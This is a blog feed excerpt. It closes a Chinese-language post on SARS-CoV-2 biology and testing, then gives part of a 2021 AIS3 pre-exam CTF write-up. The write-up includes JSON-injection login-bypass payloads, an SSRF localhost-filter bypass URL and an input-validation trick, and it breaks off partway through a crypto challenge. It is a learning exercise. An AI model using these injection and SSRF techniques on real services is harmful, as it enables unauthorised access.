src="https://i.imgur.com/hpa4DEL.png"></p><p>RdRp既然主宰了病毒RNA的複製與轉錄，自然有特殊的藥物來阻斷它。新聞中先前常常提到的瑞德西韋(remdesivir)，它的原理是在RdRp在RNA上移行時，瑞德西韋會嵌入i位合成在新股上，但是瑞德西韋是個錯誤的密碼子，特別用於核對正確性的nsp14也無法將其去除，因此會阻斷RNA轉錄，RdRp進而解體，利用這個效果產生病毒抑制。</p><p>病毒組裝的部分，目前眾說紛紜，較廣為接受的是N protein與RNA的結合，詳見下圖，一開始複製好的RNA因為Packaging signals而讓N protein開始接上，而N protein彼此也會互相結合，因此將RNA形成了一坨穩固的核心(RNP)。<br><img src="https://i.imgur.com/7a9YuaQ.png"></p><p>而這團核心會離開內質網，在這之前，內質網上附著了原先轉譯好的結構蛋白，出芽而形成囊泡，前往高基氏體進行修飾，在這途中的狀態，稱之為內質網-高基氏體中間體(ERGIC)。病毒會在此進行組裝，並且在完成後送到高基氏體cis面修飾。其途中會形成COPI與COPII幫助囊泡形成。</p><div class="note info flat"><p>小知識 : COPI由ERGIC傳送到ER，COPII由ER傳送到ERGIC</p></div><p>最後病毒便會進行胞吐作用(exocytosis)離開宿主細胞，繼續感染下一個細胞。</p><p>$Q :$ 蛋白質一定會這麼順利的組裝成功嗎?</p><p>事實上，病毒外殼組裝成功的機率很低，因此細胞內往往會累積大量的轉譯失敗或沒有組裝的蛋白質，稱為包涵體(inclusion body)。<br><img src="https://i.imgur.com/2TFbfnJ.png"></p><h1 id="Taiwan’s-Epidemic"><a href="#Taiwan’s-Epidemic" class="headerlink" title="Taiwan’s Epidemic"></a>Taiwan’s Epidemic</h1><p>現今台灣的疫情仍在於危急情形之下，目前中央指揮中心所頒布的分級警戒情形如下:</p><p><img src="https://i.imgur.com/iw3y53a.png"></p><p>現在的三級警戒由於疫情並沒有減緩的跡象，已經由5/18起宣布延期了2次，以目前情況而言以雙北感染最為嚴重，因應此情況，指揮中心針對現有情況提出了不少解釋，其中不乏許多專有名詞，這裡針對幾個比較常見的名詞做解釋。</p><h2 id="Cycle-Threshold-Value"><a href="#Cycle-Threshold-Value" class="headerlink" title="Cycle Threshold Value"></a>Cycle Threshold Value</h2><p>Cycle threshold value，多簡稱Ct value，是在PCR核酸檢測時所利用來紀錄核酸放大倍率的數值。PCR的原理是利用溫度的變化加上一種稱為Taq的蛋白酶與其他相關的協助酵素等，利用原本的核酸解開之後作為模板股進行新股合成，因此複製出的核酸數量會以2的指數次方成長，Ct value指的就是複製的次數。因此，假設Ct value=$n$，則核酸數量會是原本的$2^n$倍。<br><img src="https://i.imgur.com/XGlBQNV.jpg"></p><p>這個方法被作為審查是否確診的標準之一，若是Ct value很大，表示原先所採集到的核酸很少，需要進行多次的PCR才能到達能夠檢測的範圍，相對不會被認為是染疫者(完全沒有染疫者的理想Ct value為$∞$)。以台灣的標準而言，訂定Ct value 34以下為染疫者，而歐美的標準則是40，各國標準不同的情況下也可能使原先在台未檢出染疫者到國外之後反而呈現陽性反應。</p><h2 id="Rapid-Test"><a href="#Rapid-Test" class="headerlink" title="Rapid Test"></a>Rapid Test</h2><p>相對於上方提及的PCR檢測，其因需要相關的化學檢驗，步驟較為繁雜，因此快篩往往必須採取另外的檢測方式。目前最多使用的是採集受檢者鼻咽部檢體之後，以目前已知的抗體種類進行抗原檢測，若是檢出之後會有顏色變化再以肉眼判斷。目前的SARS-Cov-2抗體檢測是檢測病毒上的核殼蛋白N protein，而非病毒的RNA。</p><p><img src="https://i.imgur.com/Mzt6kqs.jpg"></p><p>另一種方法是透過抽血，檢測血液中的抗體反應，這個方法可以應用在檢測新冠肺炎的感染時程或疫苗反應(檢測IgG/IgM)，以台灣疫苗為例，AZ疫苗的成分是SARS-Cov-2的棘蛋白(S protein)，因此會檢測S protein的IgG反應(IgM在染疫後期才會大量增加，在前期無法檢測確診與否)，但這兩種方法也容易因為其他病毒有相同反應而產生偽陽性的情況。</p><p>此外，因為SARS-Cov-2上的RNA含有特殊的序列，如轉譯出RdRp蛋白(nsp12)的序列等，因此也可以透過檢測序列來進行核對，這個方法大大減低了偽陽性的個案數量。</p><p>這次就先整理到這裡吧!但是畢竟這是十分新穎的領域，我也是在網路上以及額外跟老師學習的內容中整理並學習，一定會有地方有所疏漏，如果有發現任何地方寫錯或者是不清楚都可以告訴我喔~下一次應該會整理疫苗跟確診數據統計的部分!</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;西元2019年時，全球著名的COVID-19從中國爆發，其散播之快，讓全球立刻陷入了空前危機，目前全球已超過1.5億人確診。近日台灣的疫情嚴重爆發，更造成了全台的大停課，目前疫情依然沒有趨緩的跡象。此篇文章將著重於研究其病理的相關機制，並針對全球的疫情進行分析。&lt;/p&gt;
&lt;</summary>
      
    
    
    
    <category term="Biology" scheme="http://blog.albert-web.tw/categories/Biology/"/>
    
    
    <category term="Biology" scheme="http://blog.albert-web.tw/tags/Biology/"/>
    
    <category term="Medical" scheme="http://blog.albert-web.tw/tags/Medical/"/>
    
    <category term="SARS-Cov-2" scheme="http://blog.albert-web.tw/tags/SARS-Cov-2/"/>
    
  </entry>
  
  <entry>
    <title>2021 AIS3 Pre-exam Write Up</title>
    <link href="http://blog.albert-web.tw/2021/06/06/AIS3-2021-preexam/"/>
    <id>http://blog.albert-web.tw/2021/06/06/AIS3-2021-preexam/</id>
    <published>2021-06-06T14:08:29.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>今年第一次參加 AIS3 Pre-exam，之前有先看過一些別人寫的 Write Ups，發現今年的解題想法好像差蠻多的 TAT，今年成績第 71 名，算在錄取邊緣，期待明年我能表現更好囉!</p><p>這裡就來整理一下我賽中跟賽後有解出的題目吧!如果覺得有問題的話可以在留言區告訴我喔 XD</p><p>P.S. 之前賽後交出去的那份 Write Up 覺得太爛了不想貼出來，決定重打一份 w</p><p><img src="https://i.imgur.com/B8OCOaR.png"></p><h1 id="Welcome"><a href="#Welcome" class="headerlink" title="Welcome"></a>Welcome</h1><h2 id="Cat-Slayer-ᶠᵃᵏᵉ-Nekogoroshi"><a href="#Cat-Slayer-ᶠᵃᵏᵉ-Nekogoroshi" class="headerlink" title="Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi"></a>Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi</h2><blockquote><p>Author: splitline feat. Hojo Satoko</p></blockquote><p>題目給了一行 command</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org</span><br></pre></td></tr></table></figure><p>把它拿到 Terminal 執行後可以發現他跳出了一個 Python 的執行畫面，用鍵盤可以輸入數字，輸入錯誤會鎖起來，因此可以用手動的輸入猜密碼，得到正確的密碼就可以解鎖 flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Password: 202583045529</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;H1n4m1z4w4_Sh0k0gun&#125;</span><br></pre></td></tr></table></figure><h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h2 id="Microcheese"><a href="#Microcheese" class="headerlink" title="Microcheese"></a>Microcheese</h2><blockquote><p>Author: toxicpie</p></blockquote><p>這題一樣給了 nc 跟 source code，但 source code 看了半天還是沒什麼想法，先去 nc 玩玩再說。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">$ nc quiz.ais3.org 10234</span><br><span class="line">+-------------------- welcome --------------------+</span><br><span class="line">| omg hi!                                         |</span><br><span class="line">|                                                 |</span><br><span class="line">| welcome to microchess, the minimal online chess |</span><br><span class="line">| platform.                                       |</span><br><span class="line">| i am a super powerful chess AI!                 |</span><br><span class="line">| can you win against me and get the flag?        |</span><br><span class="line">+---+--------------- main menu -------------------+</span><br><span class="line">| 0 | read the rules of the game                  |</span><br><span class="line">| 1 | start a new game against me                 |</span><br><span class="line">| 2 | load a saved game                           |</span><br><span class="line">| 3 | leave                                       |</span><br><span class="line">+---+---------------------------------------------+</span><br><span class="line">what would you like to do? 1</span><br><span class="line">+---+-------------- stones info ------------------+</span><br><span class="line">| 0 | ooooooooooooo                               |</span><br><span class="line">| 1 | ooooo                                       |</span><br><span class="line">| 2 | ooooooooooo                                 |</span><br><span class="line">| 3 | o                                           |</span><br><span class="line">| 4 | oooooooooooooooooooooooooooooo              |</span><br><span class="line">| 5 | ooooooo                                     |</span><br><span class="line">| 6 | ooooooooooooooooooooooooooo                 |</span><br><span class="line">+---+--------------- game menu -------------------+</span><br><span class="line">| 0 | make a move                                 |</span><br><span class="line">| 1 | save the current game and leave             |</span><br><span class="line">| 2 | resign the game                             |</span><br><span class="line">+---+---------------------------------------------+</span><br><span class="line">it&#x27;s your turn to move! what do you choose? 0</span><br><span class="line">which pile do you choose? 3</span><br><span class="line">how many stones do you remove? 1</span><br><span class="line">+--------------------- moved ---------------------+</span><br><span class="line">| you removed 1 stones from pile 3                |</span><br><span class="line">+---+-------------- stones info ------------------+</span><br><span class="line">| 0 | ooooooooooooo                               |</span><br><span class="line">| 1 | ooooo                                       |</span><br><span class="line">| 2 | ooooooooooo                                 |</span><br><span class="line">| 3 | oooooooooooooooooooooooooooooo              |</span><br><span class="line">| 4 | ooooooo                                     |</span><br><span class="line">| 5 | ooooooooooooooooooooooooooo                 |</span><br><span class="line">+--------------------- moved ---------------------+</span><br><span class="line">| i removed 1 stones from pile 0                  |</span><br><span class="line">+---+-------------- stones info ------------------+</span><br><span class="line">| 0 | oooooooooooo                                |</span><br><span class="line">| 1 | ooooo                                       |</span><br><span class="line">| 2 | ooooooooooo                                 |</span><br><span class="line">| 3 | oooooooooooooooooooooooooooooo              |</span><br><span class="line">| 4 | ooooooo                                     |</span><br><span class="line">| 5 | ooooooooooooooooooooooooooo                 |</span><br><span class="line">+---+--------------- game menu -------------------+</span><br><span class="line">| 0 | make a move                                 |</span><br><span class="line">| 1 | save the current game and leave             |</span><br><span class="line">| 2 | resign the game                             |</span><br><span class="line">+---+---------------------------------------------+</span><br><span class="line">it&#x27;s your turn to move! what do you choose?</span><br></pre></td></tr></table></figure><p>看起來是個遊戲，但玩了幾輪之後發現怎麼玩都輸，回去看 source code 發現<code>game.py</code>裡面好像有些東西。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> <span class="type">Tuple</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Game</span>:</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    a simple Nim game with normal rules.</span></span><br><span class="line"><span class="string">    grundy&#x27;s theorem: if nim_sum() is zero, then the player to move has a</span></span><br><span class="line"><span class="string">    winning strategy. otherwise, the other player has a winning strategy.</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        self.stones = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">generate_winning_game</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;generate a game such that the first player has a winning strategy&#x27;&#x27;&#x27;</span></span><br><span class="line">        self.stones = []</span><br><span class="line">        xor_sum = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">        piles = random.randint(<span class="number">6</span>, <span class="number">8</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(piles):</span><br><span class="line">            self.stones.append(count := random.randint(<span class="number">1</span>, <span class="number">31</span>))</span><br><span class="line">            xor_sum ^= count</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> xor_sum == <span class="number">0</span>:</span><br><span class="line">            self.stones.append(random.randint(<span class="number">1</span>, <span class="number">31</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">generate_losing_game</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;generate a game such that the second player has a winning strategy&#x27;&#x27;&#x27;</span></span><br><span class="line">        self.stones = []</span><br><span class="line">        xor_sum = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">        piles = random.randint(<span class="number">6</span>, <span class="number">8</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(piles):</span><br><span class="line">            self.stones.append(count := random.randint(<span class="number">1</span>, <span class="number">31</span>))</span><br><span class="line">            xor_sum ^= count</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> xor_sum != <span class="number">0</span>:</span><br><span class="line">            self.stones.append(xor_sum)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">make_move</span>(<span class="params">self, pile: <span class="built_in">int</span>, count: <span class="built_in">int</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;makes a move, returns whether the move is legal&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> pile <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(self.stones)):</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        <span class="keyword">if</span> count <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, self.stones[pile] + <span class="number">1</span>):</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">        self.stones[pile] -= count</span><br><span class="line">        <span class="keyword">if</span> self.stones[pile] == <span class="number">0</span>:</span><br><span class="line">            self.stones.pop(pile)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">nim_sum</span>(<span class="params">self</span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">        xor_sum = <span class="number">0</span></span><br><span class="line">        <span class="keyword">for</span> count <span class="keyword">in</span> self.stones:</span><br><span class="line">            xor_sum ^= count</span><br><span class="line">        <span class="keyword">return</span> xor_sum</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ended</span>(<span class="params">self</span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        checks if the game has ended, i.e., the player has no more moves.</span></span><br><span class="line"><span class="string">        if True, the current player loses the game</span></span><br><span class="line"><span class="string">        &#x27;&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">len</span>(self.stones) == <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;+---+-------------- stones info ------------------+&#x27;</span>)</span><br><span class="line">        <span class="keyword">for</span> pile, count <span class="keyword">in</span> <span class="built_in">enumerate</span>(self.stones):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&#x27;| <span class="subst">&#123;pile&#125;</span> | <span class="subst">&#123;<span class="string">&quot;o&quot;</span> * count:&lt;<span class="number">43</span>&#125;</span> |&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">load</span>(<span class="params">self, game_str: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;loads a saved game from string&#x27;&#x27;&#x27;</span></span><br><span class="line">        self.stones = <span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>, game_str.split(<span class="string">&#x27;,&#x27;</span>)))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">save</span>(<span class="params">self</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;returns the current game as a string&#x27;&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;,&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, self.stones))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AIPlayer</span>:</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    a perfect Nim player. if there exists a winning strategy for a game, this</span></span><br><span class="line"><span class="string">    player will always win.</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_move</span>(<span class="params">self, game: Game</span>) -&gt; <span class="type">Tuple</span>[<span class="built_in">int</span>, <span class="built_in">int</span>]:</span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        if there is a winning strategy, returns a move that guarantees a win.</span></span><br><span class="line"><span class="string">        otherwise, returns a random move.</span></span><br><span class="line"><span class="string">        &#x27;&#x27;&#x27;</span></span><br><span class="line">        nim_sum = game.nim_sum()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> nim_sum == <span class="number">0</span>:</span><br><span class="line">            <span class="comment"># losing game, make a random move</span></span><br><span class="line">            pile = random.randint(<span class="number">0</span>, <span class="built_in">len</span>(game.stones) - <span class="number">1</span>)</span><br><span class="line">            count = random.randint(<span class="number">1</span>, game.stones[pile])</span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># winning game, make a winning move</span></span><br><span class="line">            <span class="keyword">for</span> i, v <span class="keyword">in</span> <span class="built_in">enumerate</span>(game.stones):</span><br><span class="line">                target = v ^ nim_sum</span><br><span class="line">                <span class="keyword">if</span> target &lt; v:</span><br><span class="line">                    pile = i</span><br><span class="line">                    count = v - target</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> (pile, count)</span><br></pre></td></tr></table></figure><p>從程式內容跟註解可以很明顯的看到，比賽的必勝關鍵便是盤面所有行棋數的 xor 為 0。但是程式裡面的 AIPlayer 便是利用這個規則，讓自己下完時的盤面保持 0 的狀態，果然是必勝訣竅阿…</p><p>原本這題賽中我應該是解不出來的，但是因為有一次把號碼按錯之後發現一個超級大的 bug，當我在選擇下一個步驟時，我按了<code>3</code>(不在按鈕內)，結果他就直接跳過了我的回合，讓盤面不再保持 xor 為 0 的狀態，接著就只需要讓最後一顆棋是由我拿走的就可以拿到 flag 了。</p><p>P.S. 這應該是因為沒有過濾其他輸入的問題…總之我拿到 flag 了 XD</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">+---+--------------- game menu -------------------+</span><br><span class="line">| 0 | make a move                                 |</span><br><span class="line">| 1 | save the current game and leave             |</span><br><span class="line">| 2 | resign the game                             |</span><br><span class="line">+---+---------------------------------------------+</span><br><span class="line">it&#x27;s your turn to move! what do you choose? 3</span><br><span class="line">+--------------------- moved ---------------------+</span><br><span class="line">| you removed 3 stones from pile 1                |</span><br><span class="line">+---+-------------- stones info ------------------+</span><br><span class="line">| 0 | o                                           |</span><br><span class="line">| 1 | o                                           |</span><br><span class="line">+--------------------- moved ---------------------+</span><br><span class="line">| i removed 1 stones from pile 1                  |</span><br><span class="line">+---+-------------- stones info ------------------+</span><br><span class="line">| 0 | o                                           |</span><br><span class="line">+---+--------------- game menu -------------------+</span><br><span class="line">| 0 | make a move                                 |</span><br><span class="line">| 1 | save the current game and leave             |</span><br><span class="line">| 2 | resign the game                             |</span><br><span class="line">+---+---------------------------------------------+</span><br><span class="line">it&#x27;s your turn to move! what do you choose? 0</span><br><span class="line">which pile do you choose? 0</span><br><span class="line">how many stones do you remove? 1</span><br><span class="line">+---------------- congratulations ----------------+</span><br><span class="line">| you are a true grandmaster of chess! here is    |</span><br><span class="line">| the flag for you:                               |</span><br><span class="line">| AIS3&#123;5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3&#125; |</span><br><span class="line">+-------------------------------------------------+</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3&#125;</span><br></pre></td></tr></table></figure><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="ⲩⲉⲧ-ⲁⲛⲟⲧⲏⲉs-𝓵ⲟ𝓰ⲓⲛ-ⲣⲁ𝓰ⲉ"><a href="#ⲩⲉⲧ-ⲁⲛⲟⲧⲏⲉs-𝓵ⲟ𝓰ⲓⲛ-ⲣⲁ𝓰ⲉ" class="headerlink" title="ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ"></a>ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ</h2><blockquote><p>Author: splitline</p></blockquote><p>這題給了一個很難按的題目，連進去之後發現是一個 login 畫面，還有一個 sauce link，先點進去看原始碼，發現他是一個 json 資料庫，裡面存有登入的資訊:</p><p><img src="https://i.imgur.com/zv1wxp9.png"></p><p>用了 guest 成功登入，但沒有 flag。接著用 admin 試試，因為 os.environ.get()的意思是如果 key 不存在就用後面的值來代替，但是還是登入失敗了。</p><p>接著觀察輸入後的行為:</p><p><img src="https://i.imgur.com/etLTbQM.png"></p><p>他把我們的輸入塞進了<code>%s</code>的地方包裝成 json 格式，但他並沒有過濾<code>%s</code>的內容，所以可以從輸入動手腳。</p><p>從上面可以看出來，他把新輸入的使用者 showflag 參數一律設為$false$，所以我們拿不到 flag。但如果我們在輸入中塞入 json 格式的文字，他就會被包到這個 json 裡面送進去執行。</p><p>但因為我們必須構造一個不存在於原 database 的使用者，而 json 找不到 username 會回傳$null$，因此我們將 password 也設為$null$即可。</p><p>構造 payload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">username payload: M3t30r&quot;, &quot;showflag&quot;: true, &quot;username&quot;: &quot;m3t30r</span><br><span class="line">password payload: M3T30r&quot;, &quot;password&quot;: null, &quot;username&quot;: &quot;M3T30R</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;/r/badUIbattles?!?!&#125;</span><br></pre></td></tr></table></figure><h2 id="HaaS"><a href="#HaaS" class="headerlink" title="HaaS"></a>HaaS</h2><blockquote><p>Author: anonymous</p></blockquote><p>連進這題的網址後會是/haas 的分頁，但會顯示出 405 Method Not Allowed Error<br><img src="https://i.imgur.com/26qcGuM.png"></p><p>稍微在網頁中翻找一下會發現根目錄裡面是一個”HealthCheck as a Service”網站，有一個可以輸入網址的欄位，用 F12 翻一下還可以發現一個 hidden 的 status code 參數。</p><p><img src="https://i.imgur.com/1PiS3kH.png"></p><p>一開始試了一些 Command Injection 之類的東西，但發現好像不太行。後來打開 Hint 裡面寫了<code>SSRF</code>，就開始往 localhost 的方向走了，但是如果直接連進 localhost 的 IP(<a href="https://127.0.0.1/)%E8%B7%9Fdomain%E6%9C%83%E7%99%BC%E7%8F%BE%E4%BB%96%E8%A2%AB%E9%81%8E%E6%BF%BE%E4%BA%86">https://127.0.0.1/)跟domain會發現他被過濾了</a>:</p><p><img src="https://i.imgur.com/t8TKijf.png"></p><p>於是開始嘗試 SSRF 的 bypass 方法，這裡嘗試了幾個發現<code>https://127.000000.000000.1/</code>(要注意它只吃絕對網址)這個 bypass 可以成功讓 haas 顯示<code>&quot;Alive&quot;</code>，但我們必須拿到裡面的內容，所以將 status code 改掉讓 haas 噴出 Error 後即可拿到 flag。</p><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">QQ我忘了，然後題目機把localhost關掉了TAT</span><br></pre></td></tr></table></figure><h1 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h1><h2 id="Microchip"><a href="#Microchip" class="headerlink" title="Microchip"></a>Microchip</h2><blockquote><p>Author: toxicpie</p></blockquote><p>這題給了一個 microchip.cpp、output.txt 與 python.h 檔，打開觀察後可以發現它利用匯入 python.h 的 library 進行 python 語法的混淆，所以應只需要觀察程式邏輯即可。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 